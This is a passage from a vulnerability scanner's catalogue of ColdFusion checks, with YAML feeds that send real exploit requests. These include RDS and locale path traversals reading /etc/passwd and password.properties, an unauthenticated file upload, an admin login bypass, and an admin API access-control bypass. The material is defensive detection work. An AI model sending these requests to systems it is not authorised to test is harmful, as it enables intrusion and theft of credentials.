ColdFusion — 8 vulnerability checks
noctis ships 8 vulnerability checks for ColdFusion, covering 9 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Adobe ColdFusion RDS FILEIO Path Traversal
| CVE | CVE-2026-48282 |
|---|---|
| Severity | critical · CVSS 10.0 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, script, http_request, match · highest QoD 75 |
| Feed | tests/vulnerabilities/coldfusion/CVE-2026-48282.yaml |
Tests Adobe ColdFusion for the unauthenticated path traversal in the Remote Development Services (RDS) FILEIO handler of APSB26-68. The feed sends an RDS FILEIO READ request to /CFIDE/main/ide.cfm whose file name climbs out of the RDS root with ../ sequences to /etc/passwd, then to Windows/win.ini. The content of the system file in the reply confirms the traversal. A control READ for an absent random file must return no file content, so a server that serves the same content on every request is not reported. The probe only reads world-readable system files and writes nothing; root's password field is redacted from the evidence. Servers with RDS disabled or RDS authentication enabled are not affected and are not reported.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /CFIDE/main/ide.cfm?CFSRV=IDE&ACTION=FILEIOwith a crafted body - Checks
passwd_r.bodyfor(?m)^(?:-?[0-9]+:[0-9]+:)?root:[^:\r\n]*:0:[01]:([^:\r\n]*:[^:\r\n]*:… - Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /CFIDE/main/ide.cfm?CFSRV=IDE&ACTION=FILEIOwith a crafted body - Checks
winini_r.bodyfor(?i)(; for 16-bit app support|\[fonts\]) - HTTP(S) request
POST /CFIDE/main/ide.cfm?CFSRV=IDE&ACTION=FILEIOwith a crafted body - HTTP(S) request
POST /CFIDE/main/ide.cfm?CFSRV=IDE&ACTION=FILEIOwith a crafted body - Checks
ctrl_r.bodyfor(?mi)(^(?:-?[0-9]+:[0-9]+:)?root:[^:\r\n]*:0:[01]:|; for 16-bit app s… - Checks
lin_prooffor^root:<redacted>:0:0:→ finding QoD 75: Adobe ColdFusion RDS FILEIO Path Traversal (CVE-2026-48282) - Checks
win_filefor^Windows/win\.ini$→ finding QoD 75: Adobe ColdFusion RDS FILEIO Path Traversal (CVE-2026-48282)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2026-48282
- https://helpx.adobe.com/security/products/coldfusion/apsb26-68.html
- https://www.akamai.com/blog/security-research/adobe-coldfusion-critical-path-traversal-cve-2026-48282
- https://www.resecurity.com/blog/article/cve-2026-48282-adobe-coldfusion-rds-path-traversal-leading-to-rce
- https://github.com/imbas007/CVE-2026-48282
Feed source — tests/vulnerabilities/coldfusion/CVE-2026-48282.yaml
# Adobe ColdFusion RDS FILEIO path traversal — CVE-2026-48282 (APSB26-68)
#
# ColdFusion's Remote Development Services (RDS) servlet answers IDE requests at
# /CFIDE/main/ide.cfm. Its FILEIO action resolves the client-supplied file name
# without canonicalising it, so `../` sequences escape the RDS root and READ /
# WRITE any file the ColdFusion service can reach; a CFML file written to the
# web root gives code execution. Preconditions: RDS enabled and RDS
# authentication disabled. The fix (ColdFusion 2025 Update 10, 2023 Update 21)
# canonicalises the path and rejects `..` sequences that leave the RDS scope,
# so the traversal itself is the CVE proof (absolute-path access with RDS auth
# off is not used: it is reported as product behaviour on fixed releases too).
#
# Wire format (RDS "STR" encoding, as sent by Dreamweaver / the public RDS
# clients and the public CVE-2026-48282 PoC): `<argc>:` followed by argc fields
# `STR:<len>:<value>`. A FILEIO READ is 4 fields: path, "READ", "", "".
# The replies quoted by the public tooling are `<n>:<len>:<data>` on success
# and `-1:` / `-100:Unable to authenticate…` on error.
#
# Detection (benign, read-only — nothing is written on the target):
# 1. FILEIO READ of ../(x12)etc/passwd. The ../ run reaches / from any
# install directory. The reply must carry an /etc/passwd root line
# (optionally after the `<n>:<len>:` RDS reply header).
# 2. Otherwise FILEIO READ of ../(x12)Windows/win.ini (Java resolves `/` on
# Windows), matched on "; for 16-bit app support" / "[fonts]". The ../ run
# stays on ColdFusion's own drive: an install outside the Windows drive
# (e.g. D:) is not detected.
# 3. Control: the same traversal READ for an absent random file, inside a
# missing directory but ending with the same file name — must answer
# (200, or 500 for an uncaught not-found error) with no file signature
# (fail-closed), so a blanket
# responder or a honeypot keyed on the path ending is not reported.
# QoD 75 (response analysis). A patched server, a server with RDS
# authentication on (-100 reply) or RDS disabled (404) gives no finding.
# Every frame is built in a script step with its real byte lengths.
#
# What the previous version of this feed did wrong (issue #2400): it sent a
# malformed WRITE frame for a fixed /tmp file (a file left on the target), and
# reported the CVE on any `1:2:` reply, which also comes from fixed releases
# with RDS auth off (absolute-path RDS access is the product's documented
# behaviour there). It never used a traversal.
#
# CVSS: NVD lists only the CNA (Adobe) v3.1 score, 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).
uid: 46d389a3-b56c-4762-825b-0ae6978ec4f4
name: "Adobe ColdFusion RDS FILEIO Path Traversal (CVE-2026-48282)"
description: |
Tests Adobe ColdFusion for the unauthenticated path traversal in the Remote
Development Services (RDS) FILEIO handler of APSB26-68. The feed sends an RDS
FILEIO READ request to /CFIDE/main/ide.cfm whose file name climbs out of the
RDS root with ../ sequences to /etc/passwd, then to Windows/win.ini. The
content of the system file in the reply confirms the traversal. A control
READ for an absent random file must return no file content, so a server that serves the same content on every request is not
reported. The probe only reads world-readable system files and writes
nothing; root's password field is redacted from the evidence. Servers with
RDS disabled or RDS authentication enabled are not affected and are not
reported.
cves: [CVE-2026-48282]
cvss: 10.0
severity: critical
category: file-read
confidence_base: 0.30
tags: [adobe, coldfusion, rds, path-traversal, file-read, kev]
services: [http, https]
author: noctis
version: "2.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2026-48282"
- "https://helpx.adobe.com/security/products/coldfusion/apsb26-68.html"
- "https://www.akamai.com/blog/security-research/adobe-coldfusion-critical-path-traversal-cve-2026-48282"
- "https://www.resecurity.com/blog/article/cve-2026-48282-adobe-coldfusion-rds-path-traversal-leading-to-rce"
- "https://github.com/imbas007/CVE-2026-48282"
steps:
# ── Pre-initialise every value read later (undefined vars abort/skip) ────
- id: init-passwd-r
action: set_var
var_name: passwd_r
var_value: {status: 0, body: ""}
- id: init-winini-r
action: set_var
var_name: winini_r
var_value: {status: 0, body: ""}
- id: init-ctrl-r
action: set_var
var_name: ctrl_r
var_value: {status: 0, body: ""}
- id: init-lin-proof
action: set_var
var_name: lin_proof
var_value: ""
- id: init-win-file
action: set_var
var_name: win_file
var_value: ""
- id: init-ctrl-hit
action: set_var
var_name: ctrl_hit
var_value: false
# ── RDS frames: <argc>:STR:<len>:<value>… — lengths computed, not typed ──
- id: frames
action: script
code: |
let up = "";
for i in 0..12 { up += "../"; }
let enc = |p| {
let f = [p, "READ", "", ""];
let s = "" + f.len() + ":";
for v in f { s += "STR:" + v.len() + ":" + v; }
s
};
let lin = up + "etc/passwd";
let win = up + "Windows/win.ini";
#{
lin_path: lin,
win_path: win,
lin: enc.call(lin),
win: enc.call(win),
ctrl_lin: enc.call(up + "noctis-absent-" + oob_token + "/etc/passwd"),
ctrl_win: enc.call(up + "noctis-absent-" + oob_token + "/Windows/win.ini")
}
store_as: rds
# ── Linux: ../(x12)etc/passwd ────────────────────────────────────────────
- id: read-passwd
action: http_request
method: POST
path: "/CFIDE/main/ide.cfm?CFSRV=IDE&ACTION=FILEIO"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Content-Type: "application/x-ColdFusionIDE"
User-Agent: "Dreamweaver-RDS-SCM1.00"
body: "{{rds.lin}}"
store_as: passwd_r
# No on_match: the raw body (root's password field) must not become evidence.
- id: passwd-content
action: match
source: passwd_r.body
pattern: "(?m)^(?:-?[0-9]+:[0-9]+:)?root:[^:\\r\\n]*:0:[01]:([^:\\r\\n]*:[^:\\r\\n]*:[^:\\r\\n]*)\\r?$"
condition: "passwd_r.status == 200"
store_as: passwd_m
- id: passwd-redact
action: script
code: |
if passwd_r.status == 200 && passwd_m.matched && passwd_m.captures.len() > 0 {
"root:<redacted>:0:0:" + passwd_m.captures[0]
} else { "" }
store_as: lin_proof
# ── Windows: ../(x12)Windows/win.ini ─────────────────────────────────────
- id: read-winini
action: http_request
method: POST
path: "/CFIDE/main/ide.cfm?CFSRV=IDE&ACTION=FILEIO"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Content-Type: "application/x-ColdFusionIDE"
User-Agent: "Dreamweaver-RDS-SCM1.00"
body: "{{rds.win}}"
condition: 'lin_proof == ""'
store_as: winini_r
- id: winini-content
action: match
source: winini_r.body
pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
condition: 'lin_proof == "" && winini_r.status == 200'
on_match:
set_vars:
win_file: "Windows/win.ini"
# ── Control: absent file in a missing directory, same file-name ending ───
- id: control-linux
action: http_request
method: POST
path: "/CFIDE/main/ide.cfm?CFSRV=IDE&ACTION=FILEIO"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Content-Type: "application/x-ColdFusionIDE"
User-Agent: "Dreamweaver-RDS-SCM1.00"
body: "{{rds.ctrl_lin}}"
condition: 'lin_proof != ""'
store_as: ctrl_r
- id: control-windows
action: http_request
method: POST
path: "/CFIDE/main/ide.cfm?CFSRV=IDE&ACTION=FILEIO"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Content-Type: "application/x-ColdFusionIDE"
User-Agent: "Dreamweaver-RDS-SCM1.00"
body: "{{rds.ctrl_win}}"
condition: 'lin_proof == "" && win_file != ""'
store_as: ctrl_r
- id: control-content
action: match
source: ctrl_r.body
pattern: "(?mi)(^(?:-?[0-9]+:[0-9]+:)?root:[^:\\r\\n]*:0:[01]:|; for 16-bit app support|\\[fonts\\])"
condition: 'lin_proof != "" || win_file != ""'
on_match:
set_vars:
ctrl_hit: true
# ── Findings (control answered 200/500 and stayed clean) ──────────────────
- id: report-passwd
action: match
source: lin_proof
pattern: "^root:<redacted>:0:0:"
condition: "(ctrl_r.status == 200 || ctrl_r.status == 500) && ctrl_hit == false"
on_match:
finding:
title: "Adobe ColdFusion RDS FILEIO Path Traversal (CVE-2026-48282)"
description: "An unauthenticated RDS FILEIO READ request to /CFIDE/main/ide.cfm with a ../-sequence file name returned the content of /etc/passwd, while the same request for an absent file did not. RDS is enabled without authentication and does not confine file names to its root, so files can also be written outside it (code execution)."
remediation: "Apply ColdFusion 2025 Update 10 / ColdFusion 2023 Update 21 (APSB26-68) or later. Disable RDS on production servers (or at least enable RDS authentication) and block /CFIDE/main/ide.cfm from untrusted networks."
confidence_delta: 0.55
qod: 75
evidence: "RDS FILEIO READ {{rds.lin_path}} returned /etc/passwd ({{lin_proof}}); control READ for an absent file returned no file content"
stop: true
- id: report-winini
action: match
source: win_file
pattern: "^Windows/win\\.ini$"
condition: "(ctrl_r.status == 200 || ctrl_r.status == 500) && ctrl_hit == false"
on_match:
finding:
title: "Adobe ColdFusion RDS FILEIO Path Traversal (CVE-2026-48282)"
description: "An unauthenticated RDS FILEIO READ request to /CFIDE/main/ide.cfm with a ../-sequence file name returned the content of Windows/win.ini, while the same request for an absent file did not. RDS is enabled without authentication and does not confine file names to its root, so files can also be written outside it (code execution)."
remediation: "Apply ColdFusion 2025 Update 10 / ColdFusion 2023 Update 21 (APSB26-68) or later. Disable RDS on production servers (or at least enable RDS authentication) and block /CFIDE/main/ide.cfm from untrusted networks."
confidence_delta: 0.55
qod: 75
evidence: "RDS FILEIO READ {{rds.win_path}} returned the content of Windows/win.ini; control READ for an absent file returned no file content"
stop: trueAdobe ColdFusion Unauthenticated File Upload RCE
| CVE | CVE-2018-15961 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, http_request, match · highest QoD 75 |
| Feed | tests/vulnerabilities/coldfusion/CVE-2018-15961.yaml |
Tests Adobe ColdFusion for the unauthenticated CKEditor/FCKeditor file-manager upload (CVE-2018-15961). An inert text file carrying a per-run nonce is uploaded through the unauthenticated upload endpoint and then requested back from the userfiles directory. Retrieving this run's nonce from the uploaded file confirms the unrestricted file upload + retrieve primitive without executing any code.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm?CKEditorFuncNum=1&l…with a crafted body - HTTP(S) request
GET /userfiles/file/noctis_{{tok}}.txt - Checks
retr_resp.bodyforNOCTIS[0-9a-f]{32}→ finding QoD 75: ColdFusion unauthenticated file upload confirmed — per-run nonce uploaded via CKEditor file manager and retrieved from /userfiles/file/ (CV…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2018-15961
- https://github.com/vah13/CVE-2018-15961
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2018/CVE-2018-15961.yaml
- https://www.rapid7.com/db/?q=CVE-2018-15961
Feed source — tests/vulnerabilities/coldfusion/CVE-2018-15961.yaml
# Adobe ColdFusion Unrestricted File Upload → RCE — CVE-2018-15961
#
# ColdFusion ships the CKEditor/FCKeditor file manager at
# /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm, reachable
# without authentication. An attacker uploads an arbitrary file (classically a
# .jsp webshell) which lands under the web-reachable /userfiles/file/ directory
# and can then be requested back and executed — unauthenticated RCE.
#
# Affected: ColdFusion 11 Update 14 and earlier, ColdFusion 2016 Update 6 and
# earlier. CISA KEV (added 2021-11-03), actively exploited in the wild.
#
# DETECTION (inert, non-exploitative):
# This feed does NOT upload a webshell and does NOT execute code. It mints a
# per-run random nonce, uploads a BENIGN text file carrying that nonce through
# the unauthenticated upload endpoint, then requests the file back from where
# it lands. A patched/authenticated server rejects the upload (401/403) or
# never serves the file, so the nonce cannot be retrieved. Matching the nonce
# in the *retrieved* file proves the unauth upload+retrieve primitive — the
# root cause of the RCE — without any code execution (QoD 75).
#
# The regex alone (NOCTIS[0-9a-f]{32}) is deliberately gated by a stridx on the
# per-run marker: a server that merely reflects the upload, or that serves a
# constant marker, will not echo *this run's* random token and so does not match.
uid: e843e1b4-010a-4de7-a403-33118d418a26
name: "Adobe ColdFusion Unauthenticated File Upload RCE (CVE-2018-15961)"
description: |
Tests Adobe ColdFusion for the unauthenticated CKEditor/FCKeditor file-manager
upload (CVE-2018-15961). An inert text file carrying a per-run nonce is uploaded
through the unauthenticated upload endpoint and then requested back from the
userfiles directory. Retrieving this run's nonce from the uploaded file confirms
the unrestricted file upload + retrieve primitive without executing any code.
cves: [CVE-2018-15961]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.25
tags: [adobe, coldfusion, file-upload, rce, ckeditor, fckeditor, kev]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2018-15961"
- "https://github.com/vah13/CVE-2018-15961"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2018/CVE-2018-15961.yaml"
- "https://www.rapid7.com/db/?q=CVE-2018-15961"
steps:
# 1 — mint a per-run token (16 bytes → 32 hex chars) and build the marker.
- id: mint-token
action: script
store_as: tok
code: |
rand_hex(16)
- id: build-marker
action: script
store_as: marker
code: |
"NOCTIS" + tok
# 2 — upload a BENIGN text file carrying the nonce through the unauthenticated
# CKEditor file-manager upload endpoint. The body is plain text — no code,
# no .jsp/.cfm webshell. Multipart body goes through http_request (reqwest
# does not normalise request-body contents).
- id: upload-probe
action: http_request
method: POST
path: "/cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm?CKEditorFuncNum=1&langCode=en"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Content-Type: "multipart/form-data; boundary=NOCTIS"
body: |
--NOCTIS
Content-Disposition: form-data; name="upload"; filename="noctis_{{tok}}.txt"
Content-Type: text/plain
{{marker}}
--NOCTIS--
store_as: upload_resp
# 3 — request the uploaded file back from the userfiles directory where the
# file manager drops uploads. Clean (non-encoded) path, so http_request is
# safe. Only runs if the upload was accepted.
- id: retrieve-probe
action: http_request
method: GET
path: "/userfiles/file/noctis_{{tok}}.txt"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "upload_resp.status == 200"
store_as: retr_resp
# 4 — confirm: the retrieved file contains THIS run's nonce. The regex is gated
# by stridx on the exact per-run marker, so a reflect-only or constant-marker
# server (one that does not actually store+serve our upload) cannot match.
- id: upload-confirmed
action: match
source: retr_resp.body
pattern: "NOCTIS[0-9a-f]{32}"
condition: "retr_resp.status == 200 && stridx(retr_resp.body, marker) >= 0"
on_match:
finding:
confidence_delta: 0.50
qod: 75
evidence: "ColdFusion unauthenticated file upload confirmed — per-run nonce uploaded via CKEditor file manager and retrieved from /userfiles/file/ (CVE-2018-15961)"
stop: trueAdobe ColdFusion adminapi login authentication bypass
| CVE | CVE-2013-0632 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | auth-bypass — Auth bypass |
| Services | http, https |
| Detection | set_var, http_request, match, script · highest QoD 75 |
| Feed | tests/vulnerabilities/coldfusion/CVE-2013-0632.yaml |
Calls the login method of /CFIDE/adminapi/administrator.cfc without a valid password and reports when it returns true with a CFAUTHORIZATION cookie that opens the ColdFusion Administrator home page.
How noctis detects it
- HTTP(S) request
POST /CFIDE/adminapi/administrator.cfc?method=loginwith a crafted body - Checks
r1.bodyfor<boolean value='true' - Checks
r1.headers.set-cookiefor(CFAUTHORIZATION_cfadmin=[^;]+) - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET /CFIDE/administrator/homepage.cfm - Checks
r2.bodyforWelcome to the ColdFusion Administrator→ finding QoD 75: Adobe ColdFusion administrator.cfc login returned wddx boolean 'true' and the admin homepage loaded without credentials — CVE-2013-0632 aut…
References:
Feed source — tests/vulnerabilities/coldfusion/CVE-2013-0632.yaml
uid: 3a2d9e14-77c5-4b8e-9c0a-6b1f8e4d2c07
name: "CVE-2013-0632 — Adobe ColdFusion adminapi login authentication bypass (CVSS 9.8)"
description: "Calls the login method of /CFIDE/adminapi/administrator.cfc without a valid password and reports when it returns true with a CFAUTHORIZATION cookie that opens the ColdFusion Administrator home page."
cves: [CVE-2013-0632]
cvss: 9.8
severity: critical
category: auth-bypass
confidence_base: 0.30
tags: [adobe, coldfusion, auth-bypass]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2013-0632"
- "OpenVAS NASL 2013/adobe/gb_coldfusion_57330.nasl (GPL-2.0-only)"
# Ported from OpenVAS/Greenbone NASL 2013/adobe/gb_coldfusion_57330.nasl (GPL-2.0-only).
# Faithful two-request flow: POST the administrator.cfc login API — a vulnerable server answers
# a wddxPacket with boolean 'true' and an auth cookie — then GET the admin homepage and confirm
# the authenticated "Welcome to the ColdFusion Administrator" page. Patched servers return the
# wddx boolean 'false' and deny the homepage (401), so the chain stops (non-trivial negative).
steps:
- id: init
action: set_var
var_name: authed
var_value: false
- id: login
action: http_request
method: POST
path: "/CFIDE/adminapi/administrator.cfc?method=login"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "method=login&adminpassword=&rdsPasswordAllowed=1"
store_as: r1
- id: login-gate
action: match
source: r1.body
pattern: "<boolean value='true'"
condition: "r1.status == 200"
on_match:
set_vars:
authed: true
# Reuse the auth cookie the server issued, as the NASL does, instead of a hardcoded value.
- id: cookie-extract
action: match
source: r1.headers.set-cookie
pattern: "(CFAUTHORIZATION_cfadmin=[^;]+)"
condition: "authed == true"
store_as: ck_match
- id: cookie-store
action: script
code: 'ck_match["captures"][0]'
store_as: ck
condition: "authed == true"
- id: homepage
action: http_request
method: GET
path: "/CFIDE/administrator/homepage.cfm"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "authed == true"
headers:
Cookie: "{{ck}}"
store_as: r2
- id: detect
action: match
source: r2.body
pattern: "Welcome to the ColdFusion Administrator"
condition: "authed == true && r2.status == 200"
on_match:
finding:
confidence_delta: 0.50
qod: 75
evidence: "Adobe ColdFusion administrator.cfc login returned wddx boolean 'true' and the admin homepage loaded without credentials — CVE-2013-0632 authentication bypass."
stop: trueAdobe ColdFusion Directory Traversal File Read
| CVE | CVE-2010-2861 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, tcp_connect, match · highest QoD 75 |
| Feed | tests/vulnerabilities/coldfusion/CVE-2010-2861.yaml |
Tests Adobe ColdFusion 8/9 for unauthenticated directory traversal in the administrator enter.cfm locale parameter. Confirms by reading lib/password.properties and requiring the config signature to appear only on the traversal path, not on a benign control request.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00… - Checks
trav_resp.bannerforrdspassword= - Checks
trav_resp.bannerforencrypted= - Raw TCP (TLS on HTTPS), sent verbatim:
GET /CFIDE/administrator/enter.cfm HTTP/1.0 - Checks
ctrl_resp.bannerforrdspassword= - Checks
trav_resp.bannerforrdspassword=→ finding QoD 75: Adobe ColdFusion directory traversal arbitrary file read
References:
Feed source — tests/vulnerabilities/coldfusion/CVE-2010-2861.yaml
# Adobe ColdFusion 8/9 Directory Traversal → Local File Read — CVE-2010-2861
#
# The ColdFusion administrator login page (/CFIDE/administrator/enter.cfm)
# fails to validate the `locale` parameter. A ../ traversal sequence
# terminated with a NUL byte lets an unauthenticated attacker read arbitrary
# files, notably the ColdFusion password configuration file
# (lib/password.properties) which contains the admin RDS password hash.
#
# Detection: reqwest normalises ../ and strips %00, so tcp_connect with a
# verbatim HTTP/1.0 request line is required. A differential is used — the
# traversal must reveal the password.properties signature (rdspassword= +
# encrypted=) WHILE a control request to the same endpoint without the
# traversal locale must NOT. This defeats a blanket responder that serves
# the file on any path. QoD 75 (response analysis / file-read differential).
uid: a11a5c1f-e255-40ef-bf1b-2135f8f26d6d
name: "Adobe ColdFusion Directory Traversal File Read (CVE-2010-2861)"
description: |
Tests Adobe ColdFusion 8/9 for unauthenticated directory traversal in the
administrator enter.cfm locale parameter. Confirms by reading
lib/password.properties and requiring the config signature to appear only
on the traversal path, not on a benign control request.
cves: [CVE-2010-2861]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [coldfusion, adobe, path-traversal, lfi, file-read]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2010-2861"
steps:
# ── Initialise differential flags (undefined vars throw in conditions) ───
- id: init-trav-rds
action: set_var
var_name: trav_rds
var_value: false
- id: init-trav-enc
action: set_var
var_name: trav_enc
var_value: false
- id: init-ctrl-leak
action: set_var
var_name: ctrl_has_file
var_value: false
# ── Traversal probe — verbatim HTTP/1.0 preserves ../ and %00 ────────────
# reqwest would normalise the ../ and strip %00; tcp_connect sends raw.
- id: traversal-probe
action: tcp_connect
port: "{{port}}"
send: "GET /CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
store_as: trav_resp
- id: trav-has-rdspassword
action: match
source: trav_resp.banner
pattern: "rdspassword="
on_match:
set_vars:
trav_rds: true
- id: trav-has-encrypted
action: match
source: trav_resp.banner
pattern: "encrypted="
on_match:
set_vars:
trav_enc: true
# ── Control probe — same endpoint WITHOUT the traversal locale ───────────
# A genuine target returns the ordinary login page here (no config file).
- id: control-probe
action: tcp_connect
port: "{{port}}"
send: "GET /CFIDE/administrator/enter.cfm HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
store_as: ctrl_resp
- id: control-leak-check
action: match
source: ctrl_resp.banner
pattern: "rdspassword="
on_match:
set_vars:
ctrl_has_file: true
# ── Confirm: traversal reveals the config signature, control does not ────
- id: confirm
action: match
source: trav_resp.banner
pattern: "rdspassword="
condition: "trav_rds == true && trav_enc == true && ctrl_has_file == false"
on_match:
finding:
title: "Adobe ColdFusion directory traversal arbitrary file read"
description: "Unauthenticated ../ + %00 traversal in the enter.cfm locale parameter discloses lib/password.properties."
remediation: "Apply Adobe ColdFusion hotfix APSB10-18 (CVE-2010-2861)."
confidence_delta: 0.45
qod: 75
evidence: "ColdFusion password.properties disclosed via enter.cfm locale traversal; control request to the same endpoint did not return the config signature."
stop: trueAdobe ColdFusion Improper Access Control Admin API Bypass
| CVE | CVE-2024-20767 |
|---|---|
| Severity | high · CVSS 7.4 |
| Category | file-read — File read |
| Services | http, https |
| Detection | tcp_connect, match · highest QoD 75 |
| Feed | tests/vulnerabilities/coldfusion/CVE-2024-20767.yaml |
Tests Adobe ColdFusion for unauthenticated access to the admin API via path traversal (/hax/..CFIDE/adminapi/). A vulnerable server responds to the getHeartBeat call with a WDDX packet, confirming the bypass.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /hax/..CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1 - Checks
resp.bannerforwddxPacket→ finding QoD 75: ColdFusion admin API accessible via path traversal — WDDX heartbeat response confirmed
References:
- https://nvd.nist.gov/vuln/detail/CVE-2024-20767
- https://helpx.adobe.com/security/products/coldfusion/apsb24-14.html
- https://github.com/Praison001/CVE-2024-20767-Adobe-ColdFusion
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-20767.yaml
Feed source — tests/vulnerabilities/coldfusion/CVE-2024-20767.yaml
# Adobe ColdFusion Improper Access Control (Admin API Traversal) — CVE-2024-20767
#
# ColdFusion 2023 ≤ Update 6 and 2021 ≤ Update 12 validate the admin API
# access control against the original request URI before path normalisation.
# Prefixing the path with /hax/..CFIDE/ bypasses the check and reaches
# the internal admin API (_servermanager/servermanager.cfc?method=getHeartBeat).
# A vulnerable server responds with a WDDX packet confirming API access.
#
# Chained with CVE-2024-20769 (authenticated RCE) by ransomware operators.
# CISA KEV-listed, EPSS 0.985.
#
# tcp_connect is required: the `url` crate normalises `..` segments before
# sending — /hax/..CFIDE/ would become /CFIDE/ and bypass the traversal.
uid: e5b7c3a9-1d4f-4b8e-9c2a-7f3d6e1b0c4a
name: "Adobe ColdFusion Improper Access Control Admin API Bypass (CVE-2024-20767)"
description: |
Tests Adobe ColdFusion for unauthenticated access to the admin API via
path traversal (/hax/..CFIDE/adminapi/). A vulnerable server responds
to the getHeartBeat call with a WDDX packet, confirming the bypass.
cves: [CVE-2024-20767]
cvss: 7.4
severity: high
category: file-read
confidence_base: 0.20
tags: [adobe, coldfusion, path-traversal, auth-bypass, kev, ransomware]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2024-20767"
- "https://helpx.adobe.com/security/products/coldfusion/apsb24-14.html"
- "https://github.com/Praison001/CVE-2024-20767-Adobe-ColdFusion"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-20767.yaml"
steps:
# ── Admin API traversal via /hax/..CFIDE/ prefix ─────────────────────────
# tcp_connect required: the url crate resolves `..` in paths before sending.
# The raw path /hax/..CFIDE/adminapi/ must arrive at the server un-normalised
# to trigger the access-control bypass.
- id: traversal-probe
action: tcp_connect
port: "{{port}}"
send: "GET /hax/..CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
store_as: resp
- id: wddx-match
action: match
source: resp.banner
pattern: "wddxPacket"
on_match:
finding:
confidence_delta: 0.55
qod: 75
evidence: "ColdFusion admin API accessible via path traversal — WDDX heartbeat response confirmed"
stop: trueAdobe ColdFusion wizardHash Unauthenticated File Read
| CVE | CVE-2023-26360 |
|---|---|
| Severity | high · CVSS 8.6 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, http_request, match, script · highest QoD 75 |
| Feed | tests/vulnerabilities/coldfusion/CVE-2023-26360.yaml |
Tests Adobe ColdFusion for unauthenticated arbitrary file read via the wizardHash CFC method. A path traversal to /etc/passwd in the classname parameter of a _cfclient=true POST makes ColdFusion include the file in its WDDX error response. When the passwd root entry comes back, the same request is sent for an absent file in a random missing directory: the finding is reported only when that control gets an HTTP reply without passwd content, so a server that answers every request with the same file is not reported.
How noctis detects it
- HTTP(S) request
POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=wizardHash&_c…with a crafted body - Checks
lfi_resp.bodyforroot:.*:0:0: - HTTP(S) request
POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=wizardHash&_c…with a crafted body - Parses / computes the next value with a Rhai script
- Checks
lfi_filefor^/etc/passwd$→ finding QoD 75: ColdFusion file read confirmed — the wizardHash classname ../(x11)etc/passwd returned the /etc/passwd root entry in the WDDX response; the …
References:
- https://nvd.nist.gov/vuln/detail/CVE-2023-26360
- https://helpx.adobe.com/security/products/coldfusion/apsb23-25.html
- https://attackerkb.com/topics/F36ClHTTIQ/cve-2023-26360/rapid7-analysis
- https://github.com/jakabakos/CVE-2023-26360-adobe-coldfusion-rce-exploit
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-26360.yaml
Feed source — tests/vulnerabilities/coldfusion/CVE-2023-26360.yaml
# Adobe ColdFusion Unauthenticated Arbitrary File Read — CVE-2023-26360
#
# ColdFusion's CFC wizardHash method accepts a classname parameter via the
# _cfclient=true mode. The parameter is not sanitised, allowing a relative
# path traversal (../../../etc/passwd) to be passed as classname. ColdFusion
# attempts to load the class, fails, and returns the file contents embedded
# in a WDDX-formatted error response.
#
# Affected: ColdFusion 2021 Update 5 and earlier; ColdFusion 2018 Update 15
